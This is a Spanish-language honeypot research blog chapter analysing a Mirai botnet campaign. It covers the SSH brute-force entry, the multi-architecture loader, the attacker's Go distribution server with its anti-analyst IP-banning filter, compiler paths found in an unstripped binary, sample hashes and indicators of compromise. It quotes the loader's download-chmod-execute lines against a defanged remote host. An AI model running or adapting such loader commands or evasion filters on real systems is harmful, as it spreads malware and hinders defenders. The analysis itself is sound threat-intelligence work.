ES EN
Índice

Mirai · Capítulo 3

La botnet que se dejó el código a la vista

Otro entra y suelta su bicho. Pero este se dejó una puerta abierta en su propio servidor de reparto — y dentro estaba el código fuente. Un Mirai multiarquitectura, cazado con las manos en la masa.

Nueva familia en el cebo. Después de los dos capítulos con XorDDoS, esta vez entró un Mirai — la otra gran estirpe de las botnets del IoT. La secuencia de infección es hermana de la anterior, pero con un giro: el atacante se dejó el código fuente de su servidor a la vista. Un regalo de OPSEC que no se rechaza.

Este capítulo es la caza: cómo entró, qué soltó, y qué encontré cuando tiré del hilo hasta su máquina de reparto. El destripe del binario —el bot en sí— va en el Capítulo 4.

01La captura

Otra vez un bot, no una persona. Entró por fuerza bruta y actuó en menos de un segundo, sin explorar.

Los tres pasos que siguen llevan la misma marca de tiempo: ocurrieron dentro de la misma décima de segundo. Ahí está la prueba — ninguna mano teclea tres órdenes en cien milisegundos.

  1. 0,0 sEntra por SSH con credencial de diccionario (root). El cebo le abre.
  2. Reconoce la arquitectura: lanza uname -s -v -n -m y mira /proc/version y /etc/os-release. Necesita saber qué CPU tiene la víctima.
  3. cd /tmp → descarga un guion llamado ok (wget y curl, por si uno falla) → sh okrm -rf ok ok.1.
El reconocimiento, con red de seguridadEl comando de uname venía envuelto en un one-liner que prueba uname, /bin/uname, busybox uname y, si nada responde, cae a leer /proc/version. No da nada por hecho: quiere la arquitectura sí o sí, porque de ella depende cuál de sus binarios ejecutar.

Ese ok es un cargador (loader): no es el bot, es quien trae al bot. Lo capturé entero.

02El cargador, al desnudo

Doce líneas idénticas salvo por un nombre. Cada una descarga un binario, le da permisos, lo ejecuta con un argumento (bc) y lo borra:

ok · loader multiarquitectura
# (12 líneas, una por arquitectura de CPU)
wget hxxp://5.182.210[.]174/58bab5; curl -O hxxp://5.182.210[.]174/58bab5
chmod 777 58bab5; ./58bab5 bc; rm -rf 58bab5 58bab5.1
# ...ae754a, 36393a, 6e45aa, fbbca4, f367ae, ab0d64, 1f62ce...

Tres cosas que contar de esta pieza:

  • Prueba las 12 arquitecturas. Lanza los doce binarios; solo corre el que casa con la CPU de la víctima, los demás fallan en silencio. Cubrir ARM, MIPS, x86, PowerPC, SPARC… es cómo un mismo bot infecta desde una cámara hasta un servidor.
  • Nombres que rotan. Cada vez que se pide el ok, trae nombres de fichero distintos (6 hex al azar). Como el galimatías del Capítulo 1, pero llevado al servidor: bloquear por nombre no sirve de nada.
  • La etiqueta bc. El argumento con que se ejecuta cada binario es el identificador de campaña que el bot reportará a su central — le dice de qué campaña viene.

El wget y el curl en la misma línea son un cinturón-y-tirantes: si la caja no tiene uno, tiene el otro. Y el .1 del borrado limpia el duplicado que deja curl -O cuando wget ya bajó el fichero. Detalles de alguien que ha visto fallar su guion en máquinas raras.

03El servidor que se dejó la puerta abierta

El ok apunta todo a un servidor: 5.182.210[.]174. Fui a mirarlo — solo lectura, sin tocar nada — y me encontré con la raíz abierta como un listado de directorio. Ahí estaban los binarios… y dos ficheros que no deberían estar: http y http.go. El atacante había dejado a la vista el código fuente de su propio servidor de reparto.

Es un FileServer escrito en Go (su 404 —"404 page not found"— es la huella inconfundible del net/http). Corto, funcional, y con un detalle revelador: un filtro anti-curiosos.

http.go · el filtro (fragmento real)
// Permite apenas requisições de wget e curl
if !strings.HasPrefix(userAgent, "curl") &&
   !strings.HasPrefix(userAgent, "Wget") &&
   !strings.HasPrefix(userAgent, "axel") {
    blockedIPs[clientIP] = time.Now().Add(10 * time.Minute)
    blockIP(clientIP)   // iptables -A INPUT -s IP -j DROP
    http.Error(w, "403 Forbidden", http.StatusForbidden)
}

Solo sirve el malware a quien se presente como wget, curl o axel. A cualquier otro —un navegador, un escáner, un investigador— lo mete en iptables y lo banea 10 minutos. Es una defensa deliberada contra el análisis: quieren que solo sus víctimas alcancen los ficheros.

Y la defensa tiene su propio agujeroFíjate en cómo saca la dirección a la que va a banear: le recorta seis caracteres por la derecha a r.RemoteAddr, que llega con la forma ip:puerto. Eso da por sentado que el puerto de origen tiene cinco cifras. Cuando quien llama sale por un puerto de cuatro, el recorte se lleva por delante un dígito de la IP — y el iptables acaba bloqueando una dirección que no es la suya. Escribió un cerrojo contra curiosos que, con una parte de los curiosos, cierra la puerta de otro.
La firma del autorLos comentarios del código están en portugués ("Adiciona o IP ao iptables para bloqueio", "Permite apenas requisições de wget e curl"). Sumado a la sencillez del montaje, apunta a un operador lusófono. No es una atribución — es una pista, de las que se guardan por si otra pieza encaja después.
El misterio de los nombres que rotabanComo el http.go solo sirve ficheros estáticos, no puede ser él quien inventa los nombres. Debe haber otro proceso en la caja regenerando el ok en bucle: crea 12 nombres al azar, copia los binarios a esos nombres, reescribe el ok y a los pocos segundos los borra. Por eso los nombres del guion caducaban — pero los nombres "maestros" del listado de directorio seguían ahí, y por ellos me llevé la colección completa.

04El espécimen

Doce binarios, uno por arquitectura, del tamaño típico de un bot de IoT. Escribí aquí que eran todos ELF estáticos y stripped, sin símbolos. Diez lo son. Dos no. Lo vi volviendo sobre el lote con un file, que es lo primero que hay que hacer y que yo hice sobre tres binarios en vez de sobre los doce.

Uno, de 44.744 bytes, no es estático: está enlazado dinámicamente contra uClibc, así que depende de encontrar sus bibliotecas en la máquina donde caiga. El otro pesa 123.851 bytes, más del doble que sus hermanos, y por una razón concreta: no está stripped. Lleva dentro la información de depuración que a los demás les quitaron.

Y aquí está lo que me escuece, porque el dato llevaba publicado desde el primer día: la ficha de aquí abajo dice 44 KB – 124 KB. Esos dos extremos son exactamente esos dos binarios. El rango que yo mismo publiqué ya estaba diciendo que el lote no era uniforme. Solo había que leerlo.

Que se les colara un binario a medio limpiar es un descuido suyo. Y me ha regalado lo mejor del capítulo.

Un binario sin strip conserva las rutas de la máquina donde se compiló. Estas:

rutas dentro del binario sin limpiar
/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/lib1funcs.asm
/home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv7l/bin/../cc/include

Aboriginal Linux es un juego de compiladores cruzados de Rob Landley — y es exactamente el que venía con el código fuente de Mirai cuando se filtró en 2016. Eso no es una etiqueta de antivirus ni un parecido de cadenas: es la marca del taller donde se fabricó este lote, y sale del propio binario.

Dos descuidos suyos y uno míoEste atacante ya se había dejado el listado de directorio abierto, y con él su código fuente entero — es lo que cuenta la sección anterior. Este es el segundo: un binario sin limpiar en un lote de doce. Y el mío va justo detrás, porque los di todos por iguales sin comprobarlo uno a uno.
ESPÉCIMEN 002 · ELF ×12

Mirai · variante "milnetv4"

◈ VIVO · NO EJECUTAR
Tipo
ELF · 10 estáticos y stripped · 1 dinámico (uClibc) · 1 con símbolos · 12 arquitecturas
Tamaño
44 KB – 124 KB
Empaquetado
no (UPX descartado)
Función
bot DDoS (multivector, dirigido por C2)
C2
kappadocia.net / 141.98.10.50 (en strings; el resto de la config, cifrada)
SHA-256 (x86-64)
bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841

El abanico de CPUs cubierto — la razón de ser del loader multiarquitectura:

ArquitecturaTamañoSHA-256
x86-6450.176 Bbf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841
ARM52.496 B8bdbe21eafc7223a75ea9d075237d389e0c39f6370721f1ea36214989e5bab63
MIPS (BE)67.496 B5c502903694591a219ca263247c4c159967c5838c9a85641f3fb908b983d1e32
MIPS (LE)68.632 Ba75a98641037e42abb4c543d90e81dafdae3b27e90972b705a2e9242a5bee123
PowerPC50.092 B9d44d4d051f6aa3fbc95fab0aae818347a602d655fa7f1fba6267e728d7ff2d3
SPARC54.596 Babda6887930f4e2e1047b39adf23bbf8bdee9e15c7e2101245bb690be7d80488
Motorola m68k50.780 B3366350561c41f5d15994244bfd7358ca256d16a1e954d7a986bd4d2d50c895e
Renesas SH46.288 B41ac975aa0638b879bade9f672fbcdacb303bc6ceb5e92083b85af9cd440cd04

(La tabla lista un representante por familia de CPU: ocho filas para los doce binarios. Las variantes de más —algunas arquitecturas, como ARM, traen varias— quedan fuera, aunque el rango de tamaños de la ficha las abarca a todas.) En sus strings asoma ya, en claro, el C2 (kappadocia.net, 141.98.10.50) — pero el resto de su configuración y todas sus órdenes están cifradas. Ese es el trabajo del próximo capítulo.

Regla de la casaLos binarios no se publican; los hashes sí. Con esos SHA-256 cualquiera identifica las muestras en VirusTotal o MalwareBazaar sin que yo reparta el bicho. Compartir el hash es divulgar; repartir el binario es propagar.

05Indicadores (IOCs)

TipoValor
IP atacante (loader)45.198.224.26
Servidor de repartohxxp://5.182.210[.]174 (FileServer en Go)
C2 del botkappadocia.net · 141.98.10.50
Identificador de campañaargumento "bc"
Filtro del servidorsolo UA curl / Wget / axel · resto → iptables DROP 10 min
SHA-256 (x86-64)bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841

Continuará — el bot guarda su C2 y sus órdenes en clave. En el Capítulo 4 lo abro con Ghidra: el descifrado, el nombre real de la botnet y su arsenal completo. 🍯

Comentarios